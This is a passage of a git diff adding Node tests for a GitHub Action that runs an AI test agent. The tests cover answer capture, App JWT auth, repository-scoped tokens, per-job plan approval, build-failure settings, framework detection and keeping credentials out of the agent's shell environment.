"../src/answer.mjs" + +/** One `answer` event as the CLI prints it under --json. */ +const said = (text) => JSON.stringify({ event: "answer", text }) + "\n" + +describe("createAnswerCapture", () => { + test("a run that said nothing has no answer", () => { + const cap = createAnswerCapture() + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("it keeps what the agent said", () => { + const cap = createAnswerCapture() + cap.push(said("The import points one directory too high.")) + cap.end() + assert.equal(cap.answer(), "The import points one directory too high.") + }) + + test("the LAST answer wins, because the closing message is the one that was asked for", () => { + const cap = createAnswerCapture() + cap.push(said("Reading the build...")) + cap.push(said("Found it.")) + cap.push(said("Here is the fix.")) + cap.end() + assert.equal(cap.answer(), "Here is the fix.") + }) + + test("a line split across two chunks is still read", () => { + const line = said("split down the middle") + const cap = createAnswerCapture() + cap.push(line.slice(0, 12)) + cap.push(line.slice(12)) + cap.end() + assert.equal(cap.answer(), "split down the middle") + }) + + // Agent prose is full of em dashes and arrows. Decoding each chunk on its + // own splits one of those in half and the JSON no longer parses, so the + // answer silently disappears on exactly the runs that have most to say. + test("a multi-byte character split across two chunks is not corrupted", () => { + const buf = Buffer.from(said("preview — nothing was written"), "utf8") + const cut = buf.indexOf(Buffer.from("—", "utf8")) + 1 + const cap = createAnswerCapture() + cap.push(buf.subarray(0, cut)) + cap.push(buf.subarray(cut)) + cap.end() + assert.equal(cap.answer(), "preview — nothing was written") + }) + + test("output that is not JSON is ignored", () => { + const cap = createAnswerCapture() + cap.push("Installing test-companion 1.1.10\n") + cap.push("::group::Run\n") + cap.push(said("the real answer")) + cap.push("not json either\n") + cap.end() + assert.equal(cap.answer(), "the real answer") + }) + + test("JSON events that are not answers are ignored", () => { + const cap = createAnswerCapture() + cap.push(JSON.stringify({ event: "tool", name: "read_file" }) + "\n") + cap.push(JSON.stringify({ event: "usage", credits: 6 }) + "\n") + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("a JSON array line is ignored rather than throwing", () => { + const cap = createAnswerCapture() + cap.push("[1,2,3]\n") + cap.push('"a bare string"\n') + cap.push("null\n") + cap.end() + assert.equal(cap.answer(), undefined) + }) + + test("an answer with no text does not blank an earlier one", () => { + const cap = createAnswerCapture() + cap.push(said("something useful")) + cap.push(JSON.stringify({ event: "answer" }) + "\n") + cap.push(JSON.stringify({ event: "answer", text: " " }) + "\n") + cap.end() + assert.equal(cap.answer(), "something useful") + }) + + test("the final line is read even with no trailing newline", () => { + const cap = createAnswerCapture() + cap.push(said("first")) + cap.push(JSON.stringify({ event: "answer", text: "last, unterminated" })) + cap.end() + assert.equal(cap.answer(), "last, unterminated") + }) + + test("\\r\\n line endings are handled", () => { + const cap = createAnswerCapture() + cap.push(JSON.stringify({ event: "answer", text: "windows" }) + "\r\n") + cap.end() + assert.equal(cap.answer(), "windows") + }) + + // A command the agent chose can print megabytes with no newline in it. + // Buffering that forever would take the runner down with us. + test("a runaway line with no newline does not grow without bound", () => { + const cap = createAnswerCapture() + for (let i = 0; i < 40; i++) cap.push("x".repeat(100_000)) + assert.ok(cap.pending() <= MAX_PARTIAL_LINE, `buffered ${cap.pending()} bytes`) + // And the stream still works afterwards. + cap.push("\n" + said("still listening")) + cap.end() + assert.equal(cap.answer(), "still listening") + }) +}) + +/** + * The capture is only worth anything wired to a real process: chunk + * boundaries, encoding and the close/drain race are exactly what unit-testing + * a parser on strings cannot show. main.mjs is the untested I/O shell by + * design (see imports.test.mjs), so the spawn lives here where it can be run. + */ +describe("runCapturingAnswer", () => { + const node = process.execPath + /** A stand-in for `tc`: prints the lines it is given, then exits. */ + const fake = (script) => [node, ["-e", script]] + + test("it returns the child's exit status", async () => { + const [cmd, args] = fake("process.exit(3)") + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 3) + }) + + test("it reads the answer off a real process's output", async () => { + const [cmd, args] = fake( + `process.stdout.write(JSON.stringify({event:"tool",name:"read_file"})+"\\n");` + + `process.stdout.write(JSON.stringify({event:"answer",text:"the cause is the import"})+"\\n")`, + ) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 0) + assert.equal(r.answer, "the cause is the import") + }) + + // The run that failed is the one whose explanation matters most. + test("a failing run still gives up its answer", async () => { + const [cmd, args] = fake( + `process.stdout.write(JSON.stringify({event:"answer",text:"tests are still red"})+"\\n");process.exit(5)`, + ) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.status, 5) + assert.equal(r.answer, "tests are still red") + }) + + // A long answer arrives in many pipe-sized pieces, split anywhere + // including through a multi-byte character. + test("an answer larger than the pipe buffer survives being split up", async () => { + // The child BUILDS the payload; it is not passed in as an argument. + // Linux caps a single argv entry at 128KB (MAX_ARG_STRLEN) however + // large ARG_MAX is, so embedding 180KB of text here spawned fine on + // macOS and failed with E2BIG on every Linux runner — which is where + // CI runs. Caught by this test's first trip through CI, on. + const text = "— ".repeat(60_000) + "END" + const [cmd, args] = fake( + `const t = "— ".repeat(60000) + "END"; process.stdout.write(JSON.stringify({event:"answer",text:t})+"\\n")`, + ) + const r = await runCapturingAnswer(cmd, args, process.env) + assert.equal(r.answer, text) + }) + + test("the output still reaches the log on its way past", async () => { + const [cmd, args] = fake(`process.stdout.write(JSON.stringify({event:"answer",text:"hello"})+"\\n")`) + const seen = [] + const real = process.stdout.write.bind(process.stdout) + process.stdout.write = (chunk, ...rest) => { + seen.push(Buffer.isBuffer(chunk) ? chunk.toString("utf8") : String(chunk)) + return real(chunk, ...rest) + } + try { + await runCapturingAnswer(cmd, args, process.env) + } finally { + process.stdout.write = real + } + assert.ok(seen.join("").includes('"event":"answer"'), "the child's output never reached our stdout") + }) + + // `tc` not installed. The old spawnSync gave status null here and the + // caller turned it into 1; throwing instead would lose the whole report. + test("a command that does not exist resolves instead of throwing", async () => { + const r = await runCapturingAnswer("tc-does-not-exist-anywhere", [], process.env) + assert.equal(r.status, null) + assert.equal(r.answer, undefined) + }) +}) diff --git a/test-companion/test/app-auth.test.mjs b/test-companion/test/app-auth.test.mjs new file mode 100644 index 0000000..1d99050 --- /dev/null +++ b/test-companion/test/app-auth.test.mjs @@ -0,0 +1,104 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { generateKeyPairSync, createVerify } from "node:crypto" +import { appCredentials, jwtClaims, signJwt, installationTokenRequest } from "../src/app-auth.mjs" + +const { privateKey, publicKey } = generateKeyPairSync("rsa", { modulusLength: 2048 }) +const pem = privateKey.export({ type: "pkcs1", format: "pem" }) + +describe("appCredentials — Release 4", () => { + test("both halves are needed", () => { + assert.equal(appCredentials({ TC_ACTION_APP_ID: "1", TC_ACTION_APP_PRIVATE_KEY: "k" })?.appId, "1") + assert.equal(appCredentials({ TC_ACTION_APP_ID: "1" }), undefined) + assert.equal(appCredentials({ TC_ACTION_APP_PRIVATE_KEY: "k" }), undefined) + assert.equal(appCredentials({}), undefined) + }) + + // A secret pasted into the settings UI picks up whitespace remarkably often. + test("whitespace around them is not a credential", () => { + assert.equal(appCredentials({ TC_ACTION_APP_ID: " ", TC_ACTION_APP_PRIVATE_KEY: "k" }), undefined) + }) +}) + +describe("jwtClaims — Release 4", () => { + const now = 1_800_000_000 + + test("issued by the app", () => { + assert.equal(jwtClaims("12345", now).iss, "12345") + }) + + /** + * GitHub rejects a JWT whose iat is in the future, and runner clocks drift. + * Backdating by a minute is the documented workaround; without it a run + * fails with "issued at is in the future" on an otherwise correct setup. + */ + test("issued a minute ago, to survive clock drift", () => { + assert.equal(jwtClaims("1", now).iat, now - 60) + }) + + // GitHub refuses anything over ten minutes outright. + test("expires inside GitHub's ten-minute ceiling", () => { + const { iat, exp } = jwtClaims("1", now) + assert.ok(exp - iat <= 600, `lifetime ${exp - iat}s must be at most 600`) + assert.ok(exp > now, "must not already be expired") + }) +}) + +describe("signJwt — Release 4", () => { + test("three base64url parts", () => { + const parts = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }).split(".") + assert.equal(parts.length, 3) + for (const p of parts) assert.doesNotMatch(p, /[+/=]/, "must be base64url, not base64") + }) + + test("the payload is the claims", () => { + const jwt = signJwt({ appId: "42", privateKey: pem, now: 1_800_000_000 }) + const payload = JSON.parse(Buffer.from(jwt.split(".")[1], "base64url").toString()) + assert.equal(payload.iss, "42") + }) + + test("it really is signed by that key", () => { + const jwt = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }) + const [h, p, sig] = jwt.split(".") + const ok = createVerify("RSA-SHA256").update(`${h}.${p}`).verify(publicKey, Buffer.from(sig, "base64url")) + assert.equal(ok, true) + }) + + test("the header says RS256, which is the only algorithm GitHub accepts", () => { + const jwt = signJwt({ appId: "1", privateKey: pem, now: 1_800_000_000 }) + const header = JSON.parse(Buffer.from(jwt.split(".")[0], "base64url").toString()) + assert.equal(header.alg, "RS256") + }) +}) + +describe("installationTokenRequest", () => { + /** + * the Action uses the App's identity "FOR THAT REPO ONLY". An + * installation token minted with no body carries every permission the + * installation holds, across every repository it covers — so a run in one + * repository would hold write access to all of an organisation's. + */ + test("scoped to this repository alone", () => { + assert.deepEqual(installationTokenRequest("acme/shop").repositories, ["shop"]) + }) + + test("the owner is not part of the repository name", () => { + // The API wants bare names; "acme/shop" is rejected as not found, which + // would silently fall back to the workflow token. + assert.deepEqual(installationTokenRequest("acme/deep-name").repositories, ["deep-name"]) + }) + + test("only the permissions the Action actually uses", () => { + const { permissions } = installationTokenRequest("acme/shop") + assert.deepEqual(Object.keys(permissions).sort(), ["actions", "checks", "contents", "pull_requests"]) + for (const v of Object.values(permissions)) assert.equal(v, "write") + }) + + test("a malformed repository asks for nothing rather than everything", () => { + // Falling back to an unscoped request would be the worst reading of a + // value we could not parse. + assert.equal(installationTokenRequest("not-a-repo"), undefined) + assert.equal(installationTokenRequest(""), undefined) + assert.equal(installationTokenRequest(undefined), undefined) + }) +}) diff --git a/test-companion/test/approval-targeting.test.mjs b/test-companion/test/approval-targeting.test.mjs new file mode 100644 index 0000000..a0d21a0 --- /dev/null +++ b/test-companion/test/approval-targeting.test.mjs @@ -0,0 +1,314 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readIntent, INTENT } from "../src/intent.mjs" +import { planRun } from "../src/plan-run.mjs" +import { + hasApproverEdits, + renderApprovedPlan, + proposalMarkerFor, + proposalConsumedMarkerFor, + proposalDroppedMarkerFor, + proposalAlreadyUsed, + proposalNeedsDropping, + findProposal, + renderJobSummary, +} from "../src/report.mjs" +import { OUTCOMES } from "../src/outcome.mjs" + +/** + * "go" should say which request it is answering. + * + * Two problems, one cause: the approval machinery was keyed on the COMMIT and + * nothing else. With two plans waiting there was nothing in what you typed to + * pick one, and the record of which plans had been used could not tell two + * jobs apart — so approving one blocked approving any other on that commit + * until somebody pushed. + */ + +const US = "test-companion[bot]" +const SHA = "abc123def4567890" +const now = Date.parse("2026-11-03T12:00:00Z") +const fresh = "2026-11-03T11:00:00Z" + +/** A proposal comment from us, for one job. */ +const proposal = (id, workflow, { requester = "dev", sha = SHA, at = fresh } = {}) => ({ + id, + user: { type: "Bot", login: US }, + created_at: at, + html_url: `https://github.com/o/r/pull/1#issuecomment-${id}`, + body: `Here is the plan.\n\n${proposalMarkerFor(sha, requester, workflow)}`, +}) + +/** Our own comment recording that a plan was spent. */ +const consumed = (id, workflow, sha = SHA) => ({ + id, + user: { type: "Bot", login: US }, + created_at: fresh, + body: `Done.\n${proposalConsumedMarkerFor(sha, workflow)}`, +}) + +describe("go can name the plan it answers", () => { + test("bare go takes the most recent plan still waiting", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1002) + }) + + test("go #id takes the plan that was named, not the newest", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + const got = findProposal(comments, SHA, now, US, { id: 1001 }) + assert.equal(got?.id, 1001) + assert.equal(got?.workflow, "generate") + }) + + test("the intent carries the id a reply named", () => { + // What readIntent actually receives: plan-run.mjs strips the mention + // before this, so the pattern is anchored to the approval word and not + // to the start of the raw comment. + const got = readIntent("go #6580278184", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, "6580278184") + }) + + test("a pasted comment link names a plan just as well", () => { + const got = readIntent("go https://github.com/o/r/pull/1#issuecomment-6580278184", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, "6580278184") + }) + + test("a bare go names nothing, so the newest plan still wins", () => { + const got = readIntent("go", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("a pull request number is not a comment id", () => { + // "go #25" is somebody pointing at a pull request, not at a plan. + const got = readIntent("go #25", { proposalWaiting: true }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("naming a plan that is not there finds nothing rather than the newest", () => { + const comments = [proposal(1001, "generate"), proposal(1002, "fix")] + assert.equal(findProposal(comments, SHA, now, US, { id: 9999 }), undefined) + }) + + test("a named plan still has to be ours", () => { + const theirs = { ...proposal(1001, "fix"), user: { type: "User", login: "someone" } } + assert.equal(findProposal([theirs], SHA, now, US, { id: 1001 }), undefined) + }) +}) + +describe("the record of a spent plan knows which job it was", () => { + test("approving one job leaves another job's plan approvable", () => { + // The bug, in one assertion. Both plans are on the same commit. + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), consumed(1003, "fix")] + const got = findProposal(comments, SHA, now, US) + assert.equal(got?.id, 1001, "the generate plan was never approved and must still be waiting") + }) + + test("the approved job's own plan is spent", () => { + const comments = [proposal(1002, "fix"), consumed(1003, "fix")] + assert.equal(findProposal(comments, SHA, now, US), undefined) + }) + + test("dropping one job leaves another alone", () => { + const dropped = { + id: 1003, + user: { type: "Bot", login: US }, + created_at: fresh, + body: proposalDroppedMarkerFor(SHA, "fix"), + } + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), dropped] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1001) + }) + + test("a marker written before jobs were recorded still spends the whole commit", () => { + // Back-compat: an old thread mid-upgrade. Treating it as spending + // nothing would re-run work somebody already approved. + const old = { id: 1003, user: { type: "Bot", login: US }, created_at: fresh, body: proposalConsumedMarkerFor(SHA) } + const comments = [proposal(1001, "generate"), proposal(1002, "fix"), old] + assert.equal(findProposal(comments, SHA, now, US), undefined) + }) + + test("a spent plan on another commit does not count", () => { + const comments = [proposal(1001, "fix"), consumed(1003, "fix", "0000000000000000")] + assert.equal(findProposal(comments, SHA, now, US)?.id, 1001) + }) + + test("proposalAlreadyUsed says which job, when asked about one", () => { + const comments = [consumed(1003, "fix")] + assert.equal(proposalAlreadyUsed(comments, SHA, US, "fix"), "approved") + assert.equal(proposalAlreadyUsed(comments, SHA, US, "generate"), undefined) + }) + + test("the sweep only drops a plan whose own job is still waiting", () => { + const stale = "2026-11-01T11:00:00Z" + const comments = [proposal(1001, "generate", { at: stale }), consumed(1003, "fix")] + assert.equal(proposalNeedsDropping(comments, SHA, now, US), true) + const alsoDropped = [ + ...comments, + { id: 1004, user: { type: "Bot", login: US }, created_at: fresh, body: proposalDroppedMarkerFor(SHA, "generate") }, + ] + assert.equal(proposalNeedsDropping(alsoDropped, SHA, now, US), false) + }) +}) + +describe("the result comment says which plan it carried out", () => { + test("an approved run links the plan it ran", () => { + const body = renderJobSummary({ + workflow: "fix", + outcome: OUTCOMES.SUCCEEDED, + summary: {}, + runUrl: "https://run", + approvedPlan: { id: 1001, url: "https://github.com/o/r/pull/1#issuecomment-1001" }, + }) + assert.match(body, /Plan/) + assert.match(body, /issuecomment-1001/) + }) + + test("a run nobody approved has no plan row", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.SUCCEEDED, summary: {}, runUrl: "https://run" }) + assert.doesNotMatch(body, /\| Plan \|/) + }) +}) + +describe("naming a plan does not need the mention", () => { + /** + * FOUND ON A LIVE RUN, 3 November. `readIntent` and `findProposal` both + * learned about `go `, and the gate in plan-run.mjs that decides + * whether an UNADDRESSED comment reaches us at all did not — it still + * only accepted a bare `go`. So `go ` was dropped as "no + * @browserstack mention" before the intent was ever read, and naming a + * plan only worked if you also addressed the comment. + * + * Still narrow. `go` followed by a plan reference and nothing else is + * unmistakably aimed at us; "Approved, but rename the login case" is still + * an ordinary review comment and still needs the mention. + */ + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + + test("go #id is carried through unaddressed", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go #6599834707"), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test("so is a pasted comment link", () => { + const body = "go https://github.com/acme/shop/pull/7#issuecomment-6599834707" + const out = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + assert.equal(out.skip, undefined) + assert.equal(out.approvalOnly, true) + }) + + test("a bare go still is", () => { + const out = planRun({ eventName: "issue_comment", payload: comment("go"), repo: "acme/shop" }) + assert.equal(out.approvalOnly, true) + }) + + test("but approval with edits still needs the mention", () => { + const out = planRun({ + eventName: "issue_comment", + payload: comment("Approved, but rename the login case"), + repo: "acme/shop", + }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) + + test("and a number that is not a plan reference does not open the gate", () => { + // "go #25" is somebody pointing at a pull request. It is a bare-ish go, + // so it is carried through — but as a BARE one, with no plan named. + const out = planRun({ eventName: "issue_comment", payload: comment("go and look at #25 too"), repo: "acme/shop" }) + assert.equal(out.skip?.reason, "not-addressed-to-us") + }) +}) + +describe("naming a plan is not editing it", () => { + /** + * `hasApproverEdits("go ")` + * was true, because the bare-approval pattern allowed no plan reference. + * That is not just a wrong line in the report: renderApprovedPlan uses the + * same answer to append "# Changes the approver made … these win" to the + * plan the agent is handed. So the per-job approval feature injected its own + * comment id into the plan as an authoritative instruction. + */ + test("go #id is a bare approval", () => { + assert.equal(hasApproverEdits("go #6600030205"), false) + assert.equal(hasApproverEdits("approved #6600030205"), false) + assert.equal(hasApproverEdits("go https://github.com/o/r/pull/1#issuecomment-6600030205"), false) + }) + + test("so the plan the agent gets is just the plan", () => { + const plan = renderApprovedPlan("do the thing", "go #6600030205") + assert.doesNotMatch(plan, /Changes the approver made/) + assert.doesNotMatch(plan, /6600030205/) + }) + + test("a real edit is still an edit, and still wins", () => { + assert.equal(hasApproverEdits("go, and also cover the empty cart"), true) + const plan = renderApprovedPlan("do the thing", "go, and also cover the empty cart") + assert.match(plan, /Changes the approver made/) + assert.match(plan, /empty cart/) + }) + + test("a bare go is still bare", () => { + assert.equal(hasApproverEdits("go"), false) + assert.equal(hasApproverEdits("Approved."), false) + }) +}) + +describe("a plan reference has to sit next to the approval", () => { + /** + * GO_TARGET matched a `#id` anywhere in the comment, so + * "@browserstack go — and pull the steps from #issuecomment-…" + * became an approval of a plan that does not exist, and was refused. + * + * readIntent receives the comment with the mention already removed by + * plan-run.mjs, so that is what is passed here. + */ + test("a link quoted later in the sentence is not a plan reference", () => { + const got = readIntent("go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", { + proposalWaiting: true, + }) + assert.equal(got.kind, INTENT.GO) + assert.equal(got.proposalId, undefined) + }) + + test("one that does sit next to it still counts", () => { + assert.equal(readIntent("go #6600030205", { proposalWaiting: true }).proposalId, "6600030205") + assert.equal( + readIntent("approved https://github.com/o/r/pull/1#issuecomment-6600030205", { proposalWaiting: true }).proposalId, + "6600030205", + ) + }) +}) + +/** + * The approval word is only recognised at the START of the instruction, so + * this pins the hand-off it depends on: plan-run.mjs removes the mention, and + * what reaches readIntent opens with the word the person actually led with. + */ +describe("a real approval comment, end to end through plan-run", () => { + const comment = (body) => ({ + action: "created", + issue: { number: 7, pull_request: {} }, + comment: { body, user: { login: "an-sdet" } }, + }) + const intentOf = (body) => { + const plan = planRun({ eventName: "issue_comment", payload: comment(body), repo: "acme/shop" }) + return readIntent(plan.context.instructions, { workflows: ["test-pr", "fix"], proposalWaiting: true }) + } + + test("an addressed approval with edits still approves", () => { + assert.equal(intentOf("@browserstack go, and drop case two").kind, INTENT.GO) + assert.equal(intentOf("@BrowserStack approved, but rename the login case").kind, INTENT.GO) + }) + + test("an addressed comment that only mentions the word does not", () => { + assert.notEqual(intentOf("@browserstack don't go ahead yet, explain this failure").kind, INTENT.GO) + }) +}) diff --git a/test-companion/test/build-effect.test.mjs b/test-companion/test/build-effect.test.mjs new file mode 100644 index 0000000..0dc27a2 --- /dev/null +++ b/test-companion/test/build-effect.test.mjs @@ -0,0 +1,132 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync } from "node:fs" +import { OUTCOMES, stepShouldFail, BUILD_EFFECTS } from "../src/outcome.mjs" + +/** + * A run that BROKE should redden the build. + * + * It never did unless a repository opted in, which meant every bad outcome so + * far passed silently. That is not what anyone looking at a green tick would + * assume. + * + * The line is drawn at whether the RUN worked, not at whether the tests + * passed. A test failure is a result; making it block the build is a much + * bigger decision than this one, and `fail` is still there for anyone who + * wants it. + */ + +/** The run itself did not work. */ +const BROKEN = [OUTCOMES.RUN_BROKE, OUTCOMES.COULD_NOT_RUN, OUTCOMES.STOPPED_AT_LIMIT] + +describe("the default reddens a broken run and nothing else", () => { + test("a run that broke fails the step", () => { + for (const o of BROKEN) { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, o), true, `${o} left the step green`) + } + }) + + test("tests failing does not", () => { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.TESTS_FAILED), false) + }) + + test("neither does a success, or a run that never happened", () => { + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.SUCCEEDED), false) + assert.equal(stepShouldFail(BUILD_EFFECTS.FAIL_ON_BREAK, OUTCOMES.SKIPPED), false) + }) + + test("saying nothing means the default", () => { + // The step is what a repository gets without reading the setting, so it + // has to BE the default rather than merely document one. + assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail(undefined, OUTCOMES.TESTS_FAILED), false) + }) + + /** + * This reverses the old rule, deliberately. + * + * It used to be "anything unrecognised behaves as report", on the reasoning + * that reddening builds is the one direction a misconfiguration must not + * fail in. That reasoning made sense while report WAS the default. Now that + * it is not, a typo buying you a quieter setting than everybody else gets + * is exactly the silent pass to avoid — and a misspelling leaves you exactly + * where a fresh install would be, which is defensible. + */ + test("a misspelling lands on the default, not on the quietest setting", () => { + assert.equal(stepShouldFail("reprot", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), true) + }) +}) + +describe("the two explicit settings keep their meaning", () => { + test("report is still never red", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("report", o), false, `${o} reddened the step under report`) + } + }) + + test("an existing off keeps working as report", () => { + // Undocumented from now on, but a workflow already saying it must not + // start failing builds because we stopped advertising the word. + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("off", o), false, `${o} reddened the step under off`) + } + }) + + test("fail is still red on anything that is not a success", () => { + for (const o of [...BROKEN, OUTCOMES.TESTS_FAILED]) { + assert.equal(stepShouldFail("fail", o), true, `${o} left the step green under fail`) + } + assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) + assert.equal(stepShouldFail("fail", OUTCOMES.SKIPPED), false) + }) + + test("case and stray spaces do not decide whether a build goes red", () => { + assert.equal(stepShouldFail(" Report ", OUTCOMES.RUN_BROKE), false) + assert.equal(stepShouldFail(" FAIL ", OUTCOMES.TESTS_FAILED), true) + }) +}) + +describe("the input documents what it does", () => { + const yml = readFileSync(new URL("../action.yml", import.meta.url), "utf8") + const input = yml.slice(yml.indexOf("build-effect:"), yml.indexOf("github-token:")) + + test("its default is the new one", () => { + assert.match(input, /default:\s*"fail-on-break"/) + }) + + test("it no longer advertises off, which never did anything of its own", () => { + assert.doesNotMatch(input, /\boff\b/) + }) + + test("it names both of the settings that do something different", () => { + assert.match(input, /report/) + assert.match(input, /fail/) + }) +}) + +describe("an unrecognised value explains the reddening it causes", () => { + /** + * Reversing the fail-closed rule + * means `build-effect: none` / `warn` / `false` starts reddening builds. + * That is the right default, but it should say why. + */ + test("it warns, naming the value and the default", () => { + const said = [] + const real = process.stdout.write.bind(process.stdout) + process.stdout.write = (c, ...rest) => { + said.push(String(c)) + return real(c, ...rest) + } + try { + stepShouldFail("none", OUTCOMES.RUN_BROKE) + } finally { + process.stdout.write = real + } + const warning = said.find((l) => l.includes("::warning::")) + assert.ok(warning, `expected a workflow warning, got: ${said.join("")}`) + assert.match(warning, /none/) + assert.match(warning, /fail-on-break/) + }) +}) diff --git a/test-companion/test/child-env.test.mjs b/test-companion/test/child-env.test.mjs new file mode 100644 index 0000000..f88dc28 --- /dev/null +++ b/test-companion/test/child-env.test.mjs @@ -0,0 +1,46 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { childEnvFor } from "../src/child-env.mjs" + +describe("childEnvFor — what the agent's shell can see", () => { + test("the CLI's own configuration and credentials get through", () => { + const out = childEnvFor({ TC_PIPELINE_CONFIG: "p.yml", BROWSERSTACK_USERNAME: "u", PATH: "/bin" }) + assert.equal(out.TC_PIPELINE_CONFIG, "p.yml") + assert.equal(out.BROWSERSTACK_USERNAME, "u") + assert.equal(out.PATH, "/bin") + }) + + test("the GitHub token never does", () => { + const out = childEnvFor({ GH_TOKEN: "ghs_x", GITHUB_TOKEN: "ghs_y" }) + assert.equal(out.GH_TOKEN, undefined) + assert.equal(out.GITHUB_TOKEN, undefined) + }) + + /** + * The one the allowlist would have let through. TC_ is a kept PREFIX, so + * the App's private key — TC_ACTION_APP_PRIVATE_KEY — matched it and would + * have been handed to a shell running commands the model chose. + * + * That key can mint installation tokens for every repository the App is on, + * which is a far worse thing to leak than the workflow token the allowlist + * was written to keep out. + */ + test("the App's private key never does either, despite its TC_ prefix", () => { + const out = childEnvFor({ + TC_ACTION_APP_PRIVATE_KEY: "-----BEGIN RSA PRIVATE KEY-----", + TC_ACTION_APP_ID: "12345", + TC_PIPELINE_CONFIG: "p.yml", + }) + assert.equal(out.TC_ACTION_APP_PRIVATE_KEY, undefined) + assert.equal(out.TC_ACTION_APP_ID, undefined) + assert.equal(out.TC_PIPELINE_CONFIG, "p.yml", "ordinary TC_ settings must still get through") + }) + + test("an unrecognised variable is not passed on", () => { + assert.equal(childEnvFor({ AWS_SECRET_ACCESS_KEY: "x" }).AWS_SECRET_ACCESS_KEY, undefined) + }) + + test("an unset variable is dropped rather than passed as undefined", () => { + assert.equal("PATH" in childEnvFor({ PATH: undefined }), false) + }) +}) diff --git a/test-companion/test/framework.test.mjs b/test-companion/test/framework.test.mjs new file mode 100644 index 0000000..754ad37 --- /dev/null +++ b/test-companion/test/framework.test.mjs @@ -0,0 +1,40 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { detectFramework } from "../src/framework.mjs" + +describe("detectFramework", () => { + test("a config file names the framework", () => { + assert.equal(detectFramework({ filenames: ["playwright.config.ts", "src/app.ts"] }), "Playwright") + assert.equal(detectFramework({ filenames: ["cypress.config.js"] }), "Cypress") + assert.equal(detectFramework({ filenames: ["wdio.conf.js"] }), "WebdriverIO") + }) + + test("a dependency names it too", () => { + assert.equal(detectFramework({ deps: { "@playwright/test": "^1.0.0" } }), "Playwright") + assert.equal(detectFramework({ deps: { cypress: "^13" } }), "Cypress") + assert.equal(detectFramework({ deps: { "@wdio/cli": "^8" } }), "WebdriverIO") + assert.equal(detectFramework({ deps: { "selenium-webdriver": "^4" } }), "Selenium") + }) + + test("a config file beats a dependency, because it is what actually runs", () => { + const found = detectFramework({ + filenames: ["cypress.config.js"], + deps: { "@playwright/test": "^1.0.0" }, + }) + assert.equal(found, "Cypress") + }) + + /** + * Guessing wrong is worse than not guessing: the starter file would tell the + * team Test Companion had understood their setup when it had not. + */ + test("nothing recognisable is undefined, not a guess", () => { + assert.equal(detectFramework({ filenames: ["README.md"], deps: { react: "^18" } }), undefined) + assert.equal(detectFramework({}), undefined) + assert.equal(detectFramework(), undefined) + }) + + test("a nested config file still counts", () => { + assert.equal(detectFramework({ filenames: ["e2e/playwright.config.js"] }), "Playwright") + }) +}) diff --git a/test-companion/test/gate.test.mjs b/test-companion/test/gate.test.mjs new file mode 100644 index 0000000..b9d2b5e --- /dev/null +++ b/test-companion/test/gate.test.mjs @@ -0,0 +1,180 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { decideGate, GATE, describeChangeSize } from "../src/gate.mjs" +import { INTENT } from "../src/intent.mjs" + +const asking = { kind: INTENT.WORKFLOW, workflow: "test", preview: false } +const go = { kind: INTENT.GO } +const fresh = { id: 7, expired: false } +const stale = { id: 7, expired: true } + +describe("decideGate", () => { + test("straight-through just runs", () => { + assert.equal(decideGate({ intent: asking, approval: "straight-through" }).action, GATE.RUN) + }) + + /** + * "the run SHALL post its proposal and end. Nothing SHALL be written + * before 'go'." The proposal run is a PREVIEW run — preview is already + * enforced in tool dispatch as of Release 1, so "nothing is written" is a + * property of the run rather than a promise in a prompt. + */ + test("review-before-run proposes instead of running", () => { + assert.equal(decideGate({ intent: asking, approval: "review-before-run" }).action, GATE.PROPOSE) + }) + + test("a proposal run is always a preview run", () => { + assert.equal(decideGate({ intent: asking, approval: "review-before-run" }).preview, true) + }) + + test('"go" on a waiting proposal runs it for real', () => { + const d = decideGate({ intent: go, approval: "review-before-run", proposal: fresh }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.preview, false, "approving is the whole point; it must not stay a preview") + }) + + test('"go" on a proposal older than a day does not run it', 